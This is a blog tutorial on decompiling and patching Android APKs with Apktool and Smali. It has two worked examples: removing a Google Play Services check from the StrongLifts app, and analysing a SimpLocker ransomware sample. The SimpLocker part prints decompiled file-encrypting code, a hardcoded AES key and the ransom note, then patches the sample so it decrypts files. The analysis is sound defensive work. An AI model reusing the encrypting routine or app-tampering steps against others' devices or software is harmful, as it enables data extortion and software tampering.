Android APK modification with Smali

20 Jul 2015

In my quest for the perfect APK reversing setup, I still don't know a way to perfectly reverse Dalvik to Java and be able to modify it and rebuild an application. However Apktool provides a very handy "decode/rebuild" system that seem quite reliable even with malwares, so that's what I'm going to present with one or more examples here. There are a few tutorials out there that show how simple Apktool is to use, but often without a real test case, like an application you can find in the wild.

The catch is that Apktool doesn't reverse to Java (as said earlier it's unreliable with state of the art tools), but to Smali, a high-level assembly language for Dalvik bytecode. It may be not as convenient as Java, but if you've ever played with assembly languages, Smali is really easy to understand and manipulate. Note that even if you will have to work on Smali source, you can still try to decompile to Java to have better source in parallel, which can make code comprehension a lot easier in some spots. In fact, I'll often use Java snippets below to read more easily the code. It is always obtained with Dare and CFR.

Below are two examples of real apps I've actually modified, StrongLifts and a SimpLocker sample.

Also, good to know that there is a Smali package for Sublime Text.

If you need to quickly sign and align APKs made by hand, I made a small utility for that.

Using Apktool

Grab it here, its Java so it should work on any OS as far as I know. Apktool handles source disassembling and resources decoding with the decode commande (you can just type d).

shgck@nito ~/dev/Android/Experiments/Demo > l
-rwxr-xr-x 1 shgck shgck 4,6M avril 18 15:44 sl.apk

shgck@nito ~/dev/Android/Experiments/Demo > apktool d sl.apk -o reversed
I: Using Apktool 2.0.0-RC4 on sl.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/shgck/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

shgck@nito ~/dev/Android/Experiments/Demo > l
drwxr-xr-x 1 shgck shgck  448 avril 18 15:53 reversed
-rwxr-xr-x 1 shgck shgck 4,6M avril 18 15:44 sl.apk

shgck@nito ~/dev/Android/Experiments/Demo > l reversed 
-rwxr-xr-x 1 shgck shgck 3,0K avril 18 15:53 AndroidManifest.xml
-rwxr-xr-x 1 shgck shgck  263 avril 18 15:53 apktool.yml
drwxr-xr-x 1 shgck shgck  520 avril 18 15:53 assets
drwxr-xr-x 1 shgck shgck  272 avril 18 15:53 original
drwxr-xr-x 1 shgck shgck  24K avril 18 15:53 res
drwxr-xr-x 1 shgck shgck  512 avril 18 15:53 smali

All resources are decoded: that means the XML files like the manifest are now in plain text. The Smali source is in the smali directory, structured just like Java bytecode, with the directory structure representing the package tree view.

After you modified what you want, you can rebuild the APK as easily:

shgck@nito ~/dev/Android/Experiments/Demo > apktool b reversed
I: Using Apktool 2.0.0-RC4
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...

shgck@nito ~/dev/Android/Experiments/Demo > l reversed/dist 
-rwxr-xr-x 1 shgck shgck 2,8M avril 18 15:55 sl.apk

Some APK fun with StrongLifts

Package name: com.stronglifts.app
Sample used MD5: 7812a0e2f6457a1c8dae9eb6c4cbf8f4

StrongLifts is a popular weight-training routine that has its own app. I tried to install it on my Jolla: its OS is not Android but can execute Android apps. Unfortunately it has no official support for the Google Play Services, which is used by that app (we'll see why), so when I try to execute this application, it shows an error message about the missing Google Play Services and shuts down.

gms

The goal here is to see what the Google Play Services are used for and if we can strip it from the app.

Why is Google Play Services in there

I wasn't sure what was the actual purpose of this system application so I took a look to the store page. It seems it's a big heap of Google APIs to their various sites like Google Plus and Analytics. Not sure what it has to do with weight lifting routines, so it's probably easy to wipe out from the app.

Let's grep for Google Play Services references in the code. The package name we are looking for is com.google.android.gms. In Smali, classes use the internal Java bytecode representation, which looks a bit like fully qualified class names, but with slashes instead of dots and surrounded by "L" and ";". This will look familiar to you if you've ever coded native programs for Java or Android.

So here this package will start with Lcom/google/android/gms/. I use ack instead of grep here because grep's exclude-dir parameter is broken for some reason. The -cl flags shows only relevant files with an occurrence count, and the ignore-dir parameter is like grep's exclude-dir (except it works).

shgck@nito [...]/smali >
    ack "Lcom/google/android/gms/"      \
    -cl                                 \
    --ignore-dir=com/google/android/gms

com/flurry/sdk/dj$1.smali:3
com/flurry/sdk/dj.smali:10
com/flurry/sdk/dw.smali:8
com/stronglifts/app/addworkout/CurrentWorkoutManager.smali:5
com/stronglifts/app/addworkout/dialogs/ExerciseWeightDialog.smali:13
com/stronglifts/app/addworkout/RateView.smali:20
com/stronglifts/app/backup/GoogleDriveManager$1.smali:11
com/stronglifts/app/backup/GoogleDriveManager$2.smali:9
com/stronglifts/app/backup/GoogleDriveManager$3.smali:20
com/stronglifts/app/backup/GoogleDriveManager$RestoreFileAsyncTask.smali:5
com/stronglifts/app/backup/GoogleDriveManager.smali:307
com/stronglifts/app/dialogs/CustomAlertDialog$1.smali:7
com/stronglifts/app/dialogs/GooglePlayMissingDialog.smali:3
com/stronglifts/app/fragments/BaseFragment.smali:7
com/stronglifts/app/notification/InAppMessageSender.smali:1
com/stronglifts/app/preference/PreferenceFragment.smali:7
com/stronglifts/app/purchases/Purchases.smali:37
com/stronglifts/app/StrongliftsApplication.smali:30
com/stronglifts/app/ui/help/LegalNoticesFragment.smali:1
com/stronglifts/app/utils/Share$1.smali:5
com/stronglifts/app/utils/Share.smali:5

Well, that's not much, so it should be easy to understand what it does. The com.flurry.sdk package is obfuscated (note how the file names don't make sense), but a quick look at their website seems to tell that their software is only stats and ads, so we are most probably able to ignore it without problems.

The references located in com/stronglifts/app source files show that this app uses the Google Play Services mostly for its Google Analytics API.

shgck@nito [...]/smali >
    ack "Lcom/google/android/gms/" \
    com/stronglifts/app/addworkout/CurrentWorkoutManager.smali

    invoke-static {}, Lcom/stronglifts/app/StrongliftsApplication;->b()Lcom/google/android/gms/analytics/Tracker;
    new-instance v1, Lcom/google/android/gms/analytics/HitBuilders$EventBuilder;
    invoke-direct {v1, v2, v3}, Lcom/google/android/gms/analytics/HitBuilders$EventBuilder;-><init>(Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v1}, Lcom/google/android/gms/analytics/HitBuilders$EventBuilder;->a()Ljava/util/Map;
    invoke-virtual {v0, v1}, Lcom/google/android/gms/analytics/Tracker;->a(Ljava/util/Map;)V
shgck@nito [...]/smali >
    ack "Lcom/google/android/gms/" \
    com/stronglifts/app/StrongliftsApplication.smali    

.field private static b:Lcom/google/android/gms/analytics/Tracker;
.method public static b()Lcom/google/android/gms/analytics/Tracker;
    sget-object v0, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker;
    invoke-static {v0}, Lcom/google/android/gms/analytics/GoogleAnalytics;->a(Landroid/content/Context;)Lcom/google/android/gms/analytics/GoogleAnalytics;
    invoke-virtual {v0, v1}, Lcom/google/android/gms/analytics/GoogleAnalytics;->a(I)V
    invoke-virtual {v0, v1}, Lcom/google/android/gms/analytics/GoogleAnalytics;->a(Z)V
    invoke-static {v0}, Lcom/google/android/gms/analytics/GoogleAnalytics;->a(Landroid/content/Context;)Lcom/google/android/gms/analytics/GoogleAnalytics;
    invoke-virtual {v0, v1}, Lcom/google/android/gms/analytics/GoogleAnalytics;->a(Ljava/lang/String;)Lcom/google/android/gms/analytics/Tracker;
    sput-object v0, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker;
    sget-object v0, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker;
    invoke-virtual {v0, v4}, Lcom/google/android/gms/analytics/Tracker;->b(Z)V
    sget-object v0, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker;
    invoke-virtual {v0, v4}, Lcom/google/android/gms/analytics/Tracker;->a(Z)V
    sget-object v0, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker;
    invoke-virtual {v0, v2}, Lcom/google/android/gms/analytics/Tracker;->a(Ljava/lang/String;)V
    sget-object v2, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker;
    new-instance v0, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;
    invoke-direct {v0}, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;-><init>()V
    invoke-virtual {v0, v4, v3}, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;->a(IF)Lcom/google/android/gms/analytics/HitBuilders$HitBuilder;
    check-cast v0, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;
    invoke-virtual {v0, v4, v1}, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;->a(ILjava/lang/String;)Lcom/google/android/gms/analytics/HitBuilders$HitBuilder;
    check-cast v0, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;
    invoke-virtual {v0}, Lcom/google/android/gms/analytics/HitBuilders$ScreenViewBuilder;->a()Ljava/util/Map;
    invoke-virtual {v2, v0}, Lcom/google/android/gms/analytics/Tracker;->a(Ljava/util/Map;)V
    sget-object v0, Lcom/stronglifts/app/StrongliftsApplication;->b:Lcom/google/android/gms/analytics/Tracker; 

Hopefully for us, that means the Google Play Services aren't fundamentally needed by the app and are just there to provide some stats feedback to the devs. That's a bit lame to make the app non functional just because it can't upload stats but well. At least it should be easy to remove.

How to remove it

The naive approach would be to remove the com/google/android/gms directory and modify the app to remove every reference to an object of this package. That's cumbersome and error-prone, but we can act a bit more smartly.

After analysing snippets of code using the Analytics API, we can see that the app is using defensive programming against the API elements to work properly if the Google Play Services components are missing. That means that if the Services are not correctly initialized, the app should still run fine (at least, not crash).

That seems a bit paradoxical as the app doesn't even start if these components aren't installed, but it's a good practice in the case where the Services don't work at runtime for some reason. It will make our job a lot easier as well, because we can probably disable the service initialization and the app should run just fine.

After some reading, it turns out to be even easier: the app shutdown is done by the error dialog itself, by registering a specific action when the dialog is dismissed.

# In file: com/stronglifts/app/dialogs/GooglePlayMissingDialog.smali
# In method: public static a(Landroid/app/Activity;)V

# Store some hardcoded code in v1 (maybe an enum) and call a static method
# of the GooglePlayServicesUtil class returning a Dialog,
# with that flag as parameter.
const/16 v1, 0x65
invoke-static {v0, p0, v1}, Lcom/google/android/gms/common/GooglePlayServicesUtil;->a(ILandroid/app/Activity;I)Landroid/app/Dialog;
move-result-object v0

# The Dialog is then showed and does something special on dismiss.
new-instance v1, Lcom/stronglifts/app/dialogs/GooglePlayMissingDialog$1;
invoke-direct {v1, p0}, Lcom/stronglifts/app/dialogs/GooglePlayMissingDialog$1;-><init>(Landroid/app/Activity;)V
invoke-virtual {v0, v1}, Landroid/app/Dialog;->setOnDismissListener(Landroid/content/DialogInterface$OnDismissListener;)V

CFR gives me shit looking code and no hint about that 0x65 (101 here) code, but the app surely went through Proguard so that's pretty normal.

/**
    * In file: com/stronglifts/app/dialogs/GooglePlayMissingDialog.java
    * Reversed from the APK's classes.dex with Dare and CFR.
    */ 
public static void a(Activity activity) {
    block7 : {
        int n;
        try {
            n = GooglePlayServicesUtil.a((Context)activity);
            if (n == 0) break block7;
        }
        catch (NoSuchMethodError var1_3) {
            GooglePlayMissingDialog.b(activity);
            return;
        }
        int n2 = GooglePlayServicesUtil.c(n);
        if (n2 == 0) break block7;
        n2 = 101;
        Dialog dialog = GooglePlayServicesUtil.a(n, activity, n2);
        // Wait for a second here. According to this signature, it's the
        // "Dialog getErrorDialog(int errorCode, Activity activity, int requestCode)"
        // method right above, with 101 as requestCode
        if (dialog == null) break block7;
        dialog.show();
        GooglePlayMissingDialog$1 googlePlayMissingDialog$1 = new GooglePlayMissingDialog$1(activity);
        dialog.setOnDismissListener((DialogInterface.OnDismissListener)googlePlayMissingDialog$1);
    }
    do {
        return;
        break;
    } while (true);  // what
}

Well I can't find at a first gaze what this codes really stands for, but whatever. The important point here is that this object handles an error code and does something in reaction, which result on my Jolla in the app shutdown. Better delete it! And to not be annoyed by the remaining useless dialog, better not showing it up as well.

That gives us the following diff:

--- /mnt/data/Dev/Android/Experiments/Demo/untouched/smali/com/stronglifts/app/dialogs/GooglePlayMissingDialog.smali
+++ /mnt/data/Dev/Android/Experiments/Demo/reversed/smali/com/stronglifts/app/dialogs/GooglePlayMissingDialog.smali
@@ -34,15 +34,6 @@
        .line 20
        if-eqz v0, :cond_0

-    .line 21
-    invoke-virtual {v0}, Landroid/app/Dialog;->show()V
-
-    .line 22
-    new-instance v1, Lcom/stronglifts/app/dialogs/GooglePlayMissingDialog$1;
-
-    invoke-direct {v1, p0}, Lcom/stronglifts/app/dialogs/GooglePlayMissingDialog$1;-><init>(Landroid/app/Activity;)V
-
-    invoke-virtual {v0, v1}, Landroid/app/Dialog;->setOnDismissListener(Landroid/content/DialogInterface$OnDismissListener;)V
        :try_end_0
        .catch Ljava/lang/NoSuchMethodError; {:try_start_0 .. :try_end_0} :catch_0

When modifying Smali like that, use common sense and be sure to not let undefined references or modified variables in the following code.

Let's build the APK, sign it, zipalign it, install it and test it... and it works! No more dialog, I can use the app without problem. It just shows some loading screen sometimes but they can be safely dismissed.

stronglifts

Really dead simple after all :)

Some APK fun with SimpLocker

Package name: org.simplelocker
Sample used MD5: fd694cf5ca1dd4967ad6e8c67241114c

This application locks the phone by throwing a message in russian (or ukrainian, I'm not sure) every 5 seconds or so, which is actually instructions about how to pay someone to unlock your phone; some call it ransomware. To ensure that users will pay the ransom and not just reinstall the system, the app encrypts media files like photos and tell it will decrypt them only once the ransom is paid.

simplocker1

There are actually apps on Google Play that are meant to remove samples from this malware family (like this one and even this one by Avast), but they're barely functional, don't explain much about what's going on with this malware and at the end of the day, just seem to be promoting mobile anti-malwares.

aapt also gives funny informations about that APK:

uses-permission: name='android.permission.INTERNET'
uses-permission: name='android.permission.ACCESS_NETWORK_STATE'
uses-permission: name='android.permission.READ_PHONE_STATE'
uses-permission: name='android.permission.RECEIVE_BOOT_COMPLETED'
uses-permission: name='android.permission.WAKE_LOCK'
uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE'
uses-permission: name='android.permission.READ_EXTERNAL_STORAGE'

Well that sure sounds like reasonable permissions...

application-label:'Sex xonix'

oh

Okay let's dive in!

shgck@nito [...]/SimpLocker > apktool d fd694cf5ca1dd4967ad6e8c67241114c.apk
I: Using Apktool 2.0.0-RC4 on fd694cf5ca1dd4967ad6e8c67241114c.apk
Exception in thread "main" java.lang.IllegalArgumentException: MALFORMED
        at java.util.zip.ZipCoder.toString(ZipCoder.java:58)
        at java.util.zip.ZipFile.getZipEntry(ZipFile.java:531)
        at java.util.zip.ZipFile.access$900(ZipFile.java:56)
        at java.util.zip.ZipFile$1.nextElement(ZipFile.java:513)
        at java.util.zip.ZipFile$1.nextElement(ZipFile.java:483)
        at brut.directory.ZipRODirectory.loadAll(ZipRODirectory.java:110)
        at brut.directory.ZipRODirectory.loadFiles(ZipRODirectory.java:95)
        at brut.directory.AbstractDirectory.getFiles(AbstractDirectory.java:39)
        at brut.directory.AbstractDirectory.getFiles(AbstractDirectory.java:33)
        at brut.directory.AbstractDirectory.containsFile(AbstractDirectory.java:66)
        at brut.androlib.ApkDecoder.hasResources(ApkDecoder.java:291)
        at brut.androlib.ApkDecoder.decode(ApkDecoder.java:91)
        at brut.apktool.Main.cmdDecode(Main.java:165)
        at brut.apktool.Main.main(Main.java:81)

Damn... The problem here is that the APK is considered malformed by the Java zip library so all programs using this library to unzip the APK's content will crash on it (that includes Apktool and even Soot). It still can be installed properly on an Android device and unzipped with the unzip tool as well, so let's work on that.

It's possible to just unzip and rezip its content to form a new APK that should be well-formed.

shgck@nito [...]/SimpLocker > unzip fd694cf5ca1dd4967ad6e8c67241114c.apk -d unzipped
shgck@nito [...]/SimpLocker > cd unzipped 
shgck@nito [...]/SimpLocker/unzipped > zip -r ../rezipped.apk *
shgck@nito [...]/SimpLocker/unzipped > cd ..
shgck@nito [...]/SimpLocker > adb install rezipped.apk
2652 KB/s (4882860 bytes in 1.797s)
        pkg: /data/local/tmp/rezipped.apk
Success

Now that the malware is installed, it "locked" the phone with the message that keep showing up and encrypted a dummy picture I pushed on the emulated SD card:

root@generic:/sdcard/DCIM/Camera # l
IMG_20150423_204849.jpg.enc

Getting rid of the malware is as easy as uninstalling it through adb:

shgck@nito [...]/SimpLocker > adb uninstall org.simplelocker 
Success

We still have to try to decrypt our picture. Our new APK is usable by Apktool this time, so let's reverse it.

Hey, the instruction text is stored in res/values/strings.xml:

Вниманее Ваш телефон заблокирован! Устройство заблокировано за просмотр и распространение детской порнографии, зоофилии и других извращений.

Дла разблокировки вам необходимо оплатить 260 Грн. 1. Найдите ближайший терминал пополнения счета. 2. В нем найдите MoneXy. 3. Введите 380982049193. 4. Внесите 260 гривен и нажмите оплатить.

Не забудте взять квитанцию! После поступления оплаты ваше устройство будет разблокировано в течении 24 часов. В СЛУЧАЙ НЕ УПЛАТЫ ВЫ ПОТЕРЯЕТЕ НА ВСЕГДА ВСЕ ДАННЫЕ КОТОРЫЕ ЕСТЬ НА ВАШЕМ УСТРОЙТВЕ!

Which means (Google Translate):

Warning your phone is locked! The device is locked for viewing and distribution Child pornography, bestiality, and other perversions.

DLA unlock you need to pay 260 UAH. 1. Locate the nearest terminal refill. 2. It get MoneXy. 3. Enter 380,982,049,193. 4. Add 260 hryvnia, and then pay.

Do not forget to get a receipt! After receipt of payment your device will be unlocked for 24 Hours. In case of no PAYMENT YOU WILL LOSE ALL DATA ON ALWAYS THAT IN YOUR ustroytvo!

No way I'm paying 260 hryvnia for my ustroytvo, m8.

It's a mess of packages inside, but the malware is contained mostly in the org.simplelocker directory. There's a Tor package as well to send informations to the pirates anonymously.

It turns out that nothing is obfuscated and the files are symmetrically encrypted with a hardcoded key. That explains the name SimpleLocker I guess.

# In FilesEncryptor.smali, line 383 here
new-instance v0, Lorg/simplelocker/AesCrypt;
const-string v3, "jndlasf074hr"  # oh hey :)
invoke-direct {v0, v3}, Lorg/simplelocker/AesCrypt;-><init>(Ljava/lang/String;)V

At startup, the app starts the MainService, which registers the execution of a clone of itself at a regular rate (object = new Object(this);). The MainService$5 is a runnable which calls the crypting methods of the FilesEncryptor class, so we can remove the scheduled execution and keep only the runnable.

/**
    * In file: MainService.java
    * In method: public void onCreate()
    */
ScheduledExecutorService scheduledExecutorService = Executors.newSingleThreadScheduledExecutor();
object = new Object(this);
long l2 = 0;
long l3 = 180;
TimeUnit timeUnit = TimeUnit.SECONDS;
scheduledExecutorService.scheduleAtFixedRate((Runnable)object, l2, l3, timeUnit);
object = new Object(this);
timeUnit = TimeUnit.SECONDS;
l2 = l;
l3 = l;
scheduledExecutorService.scheduleAtFixedRate((Runnable)object, l2, l3, timeUnit);
// Everything above is the locking message and should be deleted.
MainService$5 mainService$5 = new MainService$5(this);
object = new Object(mainService$5);
object.start();

Now we can take a look at the FilesEncryptor class.

/**
    * In file: MainService$5.java
    * In method: public void run()
    */
FilesEncryptor filesEncryptor = new FilesEncryptor((Context)string);
filesEncryptor.encrypt();
/**
    * In file: FilesEncryptor.java
    * I snipped some stuff here because it's irrelevant.
    */
public class FilesEncryptor {
    private final List extensionsToDecrypt;
    private ArrayList filesToDecrypt;
    private ArrayList filesToEncrypt;
    private SharedPreferences settings;

    public FilesEncryptor(Context context) {
        // <snip>
    }

    public void decrypt() throws Exception {
        boolean bl = this.isExternalStorageWritable();
        if (!bl) return;
        Iterator iterator = "jndlasf074hr";
        AesCrypt aesCrypt = new AesCrypt((String)iterator);
        iterator = this.filesToDecrypt;
        iterator = iterator.iterator();
        int n;
        while ((n = iterator.hasNext()) != 0) {
            Object object = iterator.next();
            object = (String)object;
            n = 0;
            String string = ".";
            int n2 = object.lastIndexOf(string);
            String string2 = object.substring(n, n2);
            aesCrypt.decrypt((String)object, string2);
            File file = new File((String)object);
            file.delete();
        }
        return;
    }

    public void encrypt() throws Exception {
        SharedPreferences sharedPreferences = this.settings;
        Object object = "FILES_WAS_ENCRYPTED";
        boolean bl = false;
        boolean bl2 = sharedPreferences.getBoolean((String)object, bl);
        if (bl2 || !(bl2 = this.isExternalStorageWritable())) return;
        SharedPreferences sharedPreferences2 = "jndlasf074hr";
        AesCrypt aesCrypt = new AesCrypt((String)sharedPreferences2);
        sharedPreferences2 = this.filesToEncrypt;
        sharedPreferences2 = sharedPreferences2.iterator();
        do {
            boolean bl3;
            if (!(bl3 = sharedPreferences2.hasNext())) {
                sharedPreferences2 = this.settings;
                String string = "FILES_WAS_ENCRYPTED";
                bl = true;
                Utils.putBooleanValue(sharedPreferences2, string, bl);
                return;
            }
            Object object2 = sharedPreferences2.next();
            object2 = (String)object2;
            String string = String.valueOf(object2);
            object = new Object(string);
            string = ".enc";
            object = object.append(string);
            object = object.toString();
            aesCrypt.encrypt((String)object2, (String)object);
            File file = new File((String)object2);
            file.delete();
        } while (true);
    }

    // <snip>
}

The class detects all files to encrypt/decrypt in its constructor and then provides ready to use methods for encryption and decryption (see how the only key used by the cipher AesCrypt is already statically in there).

So to keep things simple, I'll just replace the encrypt() call in MainService$5 with a decrypt().

Now we rebuild it, sign/align it and give it a try...

simplocker2

I changed the message as well, it was too tempting. The decryption also went well:

root@generic:/sdcard/DCIM/Camera # l
IMG_20150423_204849.jpg

And we're done! :)

--- /mnt/data/Dev/Android/Experiments/SimpLocker/original_simplocker_package/MainService.smali
+++ /mnt/data/Dev/Android/Experiments/SimpLocker/reversed/smali/org/simplelocker/MainService.smali
@@ -343,42 +343,44 @@
        .line 49
        invoke-super {p0}, Landroid/app/Service;->onCreate()V

-    .line 50
-    invoke-static {}, Ljava/util/concurrent/Executors;->newSingleThreadScheduledExecutor()Ljava/util/concurrent/ScheduledExecutorService;
-
-    move-result-object v0
-
-    .line 51
-    .local v0, "scheduler":Ljava/util/concurrent/ScheduledExecutorService;
-    new-instance v1, Lorg/simplelocker/MainService$3;
-
-    invoke-direct {v1, p0}, Lorg/simplelocker/MainService$3;-><init>(Lorg/simplelocker/MainService;)V
-
-    .line 76
-    const-wide/16 v2, 0x0
-
-    const-wide/16 v4, 0xb4
-
-    sget-object v6, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
-
-    .line 51
-    invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
-
-    .line 77
-    new-instance v1, Lorg/simplelocker/MainService$4;
-
-    invoke-direct {v1, p0}, Lorg/simplelocker/MainService$4;-><init>(Lorg/simplelocker/MainService;)V
-
-    .line 89
-    sget-object v6, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
-
-    move-wide v2, v8
-
-    move-wide v4, v8
-
-    .line 77
-    invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
-
+    # Bad stuff starts here
+#    .line 50
+#    invoke-static {}, Ljava/util/concurrent/Executors;->newSingleThreadScheduledExecutor()Ljava/util/concurrent/ScheduledExecutorService;
+#
+#    move-result-object v0
+#
+#    .line 51
+#    .local v0, "scheduler":Ljava/util/concurrent/ScheduledExecutorService;
+#    new-instance v1, Lorg/simplelocker/MainService$3;
+#
+#    invoke-direct {v1, p0}, Lorg/simplelocker/MainService$3;-><init>(Lorg/simplelocker/MainService;)V
+#
+#    .line 76
+#    const-wide/16 v2, 0x0
+#
+#    const-wide/16 v4, 0xb4
+#
+#    sget-object v6, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
+#
+#    .line 51
+#    invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
+#
+#    .line 77
+#    new-instance v1, Lorg/simplelocker/MainService$4;
+#
+#    invoke-direct {v1, p0}, Lorg/simplelocker/MainService$4;-><init>(Lorg/simplelocker/MainService;)V
+#
+#    .line 89
+#    sget-object v6, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
+#
+#    move-wide v2, v8
+#
+#    move-wide v4, v8
+#
+#    .line 77
+#    invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
+
+    # Here the FilesEncryptor will be called
        .line 90
        new-instance v1, Ljava/lang/Thread; 
--- /mnt/data/Dev/Android/Experiments/SimpLocker/original_simplocker_package/MainService$5.smali
+++ /mnt/data/Dev/Android/Experiments/SimpLocker/reversed/smali/org/simplelocker/MainService$5.smali
@@ -56,7 +56,7 @@

        .line 96
        .local v1, "encryptor":Lorg/simplelocker/FilesEncryptor;
-    invoke-virtual {v1}, Lorg/simplelocker/FilesEncryptor;->encrypt()V
+    invoke-virtual {v1}, Lorg/simplelocker/FilesEncryptor;->decrypt()V
        :try_end_0
        .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0